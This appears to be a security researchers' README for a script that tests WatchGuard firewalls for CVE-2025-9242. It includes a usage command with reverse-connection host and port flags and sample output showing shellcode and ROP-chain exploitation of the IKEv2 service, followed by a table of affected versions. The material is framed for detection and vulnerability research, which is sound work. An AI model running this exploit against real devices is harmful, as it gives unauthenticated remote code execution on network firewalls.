watchtowrlabs/watchtowr-vs-watchguard-cve-2025-9242
Detection Artifact Generator for WatchGuard CVE-2025-9242
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python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1 --lport 31337 --exploit
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watchTowr-vs-WatchGuard-CVE-2025-9242.py
(*) WatchGuard Unauthenticated Remote Code Execution Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-9242]
[#] Sending IKEv2 SA Init with default transform
[#] WatchGuard Firmware Version: 12.11.3
[#] WatchGuard Build Number: 719894
[+] IKEv2 service is vulnerable to CVE-2025-9242 based on version number 12.11.3 < 12.11.4
[+] Default IKEv2 service found
[#] Verifying if IKEv2 service is vulnerable...
[+] IKEv2 service is vulnerable to CVE-2025-9242
[#] Building shellcode payload...
[#] Building ROP chain...
[#] Sending exploit payload to 192.168.56.1:31337
This script attempts to detect if WatchGuard OS is vulnerable to CVE-2025-9242.
The following versions of WatchGuard OS are Affected
| Vulnerable Version | Resolved Version |
|---|---|
| 2025.1 | 2025.1.1 |
| 12.x | 12.11.4 |
| 12.5.x (T15 & T35 models) | 12.5.13 |
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| 12.3.1 (FIPS-certified release) |
| 12.3.1_Update3 (B722811) |
| 11.x | End of Life |